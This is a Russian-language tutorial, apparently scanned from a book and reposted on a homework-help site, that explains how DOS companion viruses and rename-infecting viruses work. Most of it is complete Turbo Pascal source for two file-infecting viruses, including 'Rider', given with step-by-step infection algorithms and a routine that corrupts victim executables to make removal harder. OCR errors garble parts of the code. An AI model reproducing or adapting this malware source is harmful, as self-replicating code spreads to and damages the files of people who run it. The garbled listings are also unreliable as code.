Инфицирование методом создания СОМ-файла спутника



Смысл этого метода - не трогая "чужого кота" (ЕХЕ-программу), со-
здать "своего" - СОМ-файл с именем ЕХЕ-программы. Алгоритм рабо-
ты такого вируса предельно прост, так как отпадает необходимость
лишних действий (например, сохранения в теле вируса длины откомпи-
лированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела
вируса, запуска файла, из которого вирус получил управление). Неза-
чем даже хранить метку для определения инфицирования файла.

Заражение производится с помощью командного процессора:

1. Если в командной строке указаны параметры, сохранить их в пере-
менную типа String для передачи инфицированной программе.

2. Найти ЕХЕ-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-
лом СОМ-файл с таким же именем, как у файла-жертвы.

4. Если такой СОМ-файл присутствует, файл уже заражен, переходим
к пункту 6.

5. С помощью командного процессора скопировать файл, из которого
получено управление, в файл с именем жертвы и расширением СОМ.

6. Процедурой Ехес загрузить и выполнить файл с именем стартового, но
с расширением ЕХЕ - то есть выполнить инфицированную программу.

7. Вернуть управление в DOS.

Приведенный ниже листинг показывает заражение файлов этим
методом.

($М 2048, 0, 0}
f$A-}
<$В-"
($D-}
<$Е+1
{$F-}
{$G-}

{$!-}

f$L-(
{$N-)
{$S-}
<$V-}
{$X+}

(Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS;

Const

{Имя вируса)
VirName='Guesf;

Author='Dirty Nazi/SGWW. 4 PVT only!';

{Количество зараженных за один сеанс работы файлов}
lnfCount=2;

Var

{Для имени найденного файла)
TargetFile : PathStr;

{Для создания копии}
TargetCOM : PathStr;

(Счетчик количества заражений}
InfFiles : Byte;

Dirlnfo : SearchRec;

{Для сохранения параметров командной строки}
Parms : String;

(Для цикла For}
I: Byte;

(Поиск жертв}
procedure FindTarget;

Var
Sr : SearchRec;

{Функция возвращает True, если найденная программа уже заражена,
и False, если еще нет}
function VirusPresent: Boolean;

Var

Target : File;

begin

{Пока будем считать, что вируса здесь нет}
VirusPresent:=False;

{Пытаемся открыть файл с именем найденной программы,
но с расширением СОМ}
AssignHarget, TargetCOM);

ResetHarget, 1);

{Если не было ошибок при открытии,
программа уже инфицирована этим вирусом}
If IOResult=0 Then
begin
VirusPresent:=True;

{Открыли - закроем}
Close(Target);

end;

end;

{Собственно процедура заражения}
procedure InfectFile;

begin

{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin

{С помощью командного процессора
копируем вирусный код в СОМ-файл}
Swap Vectors;

Exec(GetEnv('COMSPEC'),7C COPY /B '+ParamStr(0)+'
'+TargetCOM+' >NUL');

Swap Vectors;

(Увеличиваем на единицу счетчик инфицированных файлов}
Inc(lnfFiles);

end;

end;

begin {начало процедуры FindTarget}

(Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive}
FindFirstF.EXE', Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=" Then Exit;

{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;

TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM';

{Вызываем процедуру заражения}
InfectFile;

{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}
FindNext(Sr);

end;

end;

{Основное тело}
begin
Parms:=' ';

{Запоминаем параметры командной строки}
If ParamCount <> 0 Then
For l:=1 To ParamCount Do
Parms:=Parms+' '+ParamStr(l);

{Ищем жертвы и заражаем их}
FindTarget;

TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE';

(Ищем файл с именем стартового файла, но с расширением ЕХЕ}
FindFirst(TargetFile, AnyRle, Dirlnfo);

{Если такой файл найден, запускаем его на выполнение)
If DosError=0 Then
begin
Swap Vectors;

Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms);

Swap Vectors;

end Else

{Если файл не найден, выходим,
не внося в программу изменений)
begin
WriteLn(#13#10, VirName, ' by '.Author);

WriteLnCKaKoe-нибудь сообщение');

end;

end.

Инфицирование методом переименования ЕХЕ-файла

Отличий в алгоритмах работы этих вирусов и их "коллег", создающих
файл-спутник, не так уж много. Но, по всей видимости, заражение ме-
тодом переименования несколько совершеннее - для излечения от ви-
руса нужно не просто удалить СОМ-файл с кодом вируса, а немного
помучаться и разыскать, во что же переименован ЕХЕ-файл с инфици-
рованной программой.

1. Если в командной строке указаны параметры, сохранить их в пере-
менную типа String для передачи инфицированной программе.

2. Найти ЕХЕ-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-
лом-жертвой файл с таким же именем и с расширением, которое
выбрано для инфицированной программы (например, OVL - про-
граммный оверлей).

4. Если такой файл присутствует, программа уже инфицирована - пе-
реходим к пункту 7.

5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име-
нем, но с расширением, выбранным для инфицированной программы.

6. С помощью командного процессора скопировать файл, из которого по-
лучено управление, в файл с именем жертвы и расширением жертвы.

7. Найти в каталоге, из которого получено управление, файл с именем
стартовой программы, но с расширением, выбранным для инфици-
рованной - это и будет зараженная программа, которую в данный
момент необходимо запустить на исполнение.

8. Если такой файл не найден, переходим к пункту 12.

9. Изменить расширение найденного файла на СОМ (ни в коем случае не
на ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!).

10. Процедурой Ехес загрузить и выполнить переименованный файл -
то есть выполнить инфицированную программу.

11. Вернуть СОМ-файлу с инфицированной программой выбранное
расширение, то есть превратить его опять в неисполняемый.

12. Вернуть управление в DOS.

Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider
написан очень просто и доступно. За сеанс работы он заражает один
ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма
прост: файл-жертва переписывается в файл с расширением OVL (овер-
лейный файл), а на его место с помощью командного процессора копи-
руется вирусный код. При запуске происходит заражение только что
найденного ЕХЕ-файла, затем вирусный код переименовывается
в OWL, a OVL - в ЕХЕ, после чего оригинал запускается на исполне-
ние. Когда оригинал отработал, происходит переименование в обратном
порядке. С защищенного от записи диска программа не запустится, она
выдаст сообщение, что диск защищен от записи.

В представленном здесь виде вирус легко обезвредить, достаточно про-
сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле-
чение, в вирусе может быть использован такой прием:

procedure MakeNot;

Var

Buf10: Array [1.10] of Byte;

Cicle: Byte;

begin
Seek(Prog, 0);

Reset(Prog);

BlockRead(Prog, Buf10, 10);

For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];

Seek(Prog, 0);

BlockWrite(Prog, Buf10, 10);

Close(Prog);

end;

При использовании этой процедуры надо учитывать, что заражаемая
и запускаемая на исполнение программа должна быть связана с пере-
менной Prog типа File, описанной в основном модуле. Суть процедуры
состоит в том, что из заражаемой программы считываются 10 байт и ко-
дируются операцией Not. ЕХЕ-программа становится неработоспособ-
ной. Запускать эту процедуру нужно не только перед прогоном ориги-
нала, но и после него.

{ Name Rider }

{ Version 1.0 }

{ Stealth No }

{ Tsr No }

{ Danger 0 }

{ Attac speed Slow }

{ Effects No }

{ Length 4000 }

{ Language Pascal }

{ BodyStatus Packed }

{ Packer Pklite }

($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,
High Heap Limit Ob }

{Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS;

Const
Fail='Cannot execute '^13#10'Disk is write-protected';

{Расширения файлов, которые будем использовать}
Ovr='.OWL';

Ovl='.OVL';

Ехе=.ЕХЕ';

Var
Dirlnfo : SearchRec;

Sr : SearchRec;

Ch : Char;

I : Byte;

OurName : PathStr;

OurProg : PathStr;

Ren : File;

CmdLine : ComStr;

Victim : PathStr;

VictimName : PathStr;

(Процедура для проверки диска на Read Only)
procedure CheckRO;

begin
Assign(Ren, #$FF);

ReWrite(Ren);

Erase(Ren);

If lOResult <> 0 Then

{Если диск защищен от записи, то ответ 'Access denied'}

begin

WriteLn(Fail);

Halt(5);

end;

end;

(Процедура прогонки оригинала}
procedure ExecReal;

begin

{Находим оригинал}
FindFirst(OurName+Ovl, AnyFile, Dirlnfo);

If DosError <> 0 Then

(Если не нашли}

begin

WriteLn('Virus RIDER. Let's go on riding!');

WriteLn('l beg your pardon, your infected file cannot be executed.');

(Выход с DosError=<t>ann не найден)
Halt(18);

end;

{Переименовываем программу в OVL}
Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovr);

{Переименовываем оверлей в ЕХЕ}
Assign(Ren, OurName+Ovl);

ReName(Ren, OurName+Exe);

(И запускаем его}
Swap Vectors;

Exec(GetEnv('COMSPEC'), 7C '+OurName+Exe+CmdLine);

Swap Vectors;

{А теперь возвращаем все на место)
Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovl);

Assign(Ren, OurName+Ovr);

ReName(Ren, OurName+Exe);

end;

(Процедура заражения}
procedure Infect;

begin

{Переименовываем жертву в OVL}
Assign(Ren, Victim);

ReName(Ren, VictimName+Ovl);

{Копируем тело вируса на место жертвы}
SwapVectors;

Exec(GetEnv('COMSPEC'), '/С COPY '+OurProg+' '+Victim+' >NUL');

SwapVectors;

end;

{Процедура поиска жертвы}
procedure FindFile;

begin

{В текущем каталоге ищем ЕХЕ-файл}
FindFirst('*EXE', AnyFile, Dirlnfo);

If DosError=0 Then

{И если он найден}
begin

{Запоминаем имя жертвы}
Victim:=Dirlnfo.Name;

{Запоминаем имя без расширения}
VictimName:=Copy(Victim, 1, Length(Victim)-4);

{Ищем оверлей с тем же именем}
FindFirst(VictimName+Ovl, AnyFile, Sr);

If DosError <> 0 Then Infect;

end;

end;

{Процедура инициализации переменных}
procedure I nit;

begin

(Командная строка}
CmdLine:=";

{Полное имя нашей программы}
OurProg:=ParamStr(0);

{Имя нашей программы без расширения}
OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))-4);

For l:=1 To ParamCount Do
begin

{Запоминаем параметры}
CmdLine:=ParamStr(l)+' ';

end;

end;

{Основная подпрограмма}
begin

{А эту табличку запишем в код для тех,

кто распакует вирус и начнет в нем копаться}

If False Then

begin

WriteLn(#13#10 ' ');

end;

{Инициализируемся}
Init;

(Проверка диска на R/О}
CheckRO;

{Ищем и заражаем}
FindFile;

{Загружаем оверлей}
ExecReal;

end.


Дата добавления: 2019-07-15; просмотров: 249; Мы поможем в написании вашей работы!

Поделиться с друзьями:






Мы поможем в написании ваших работ!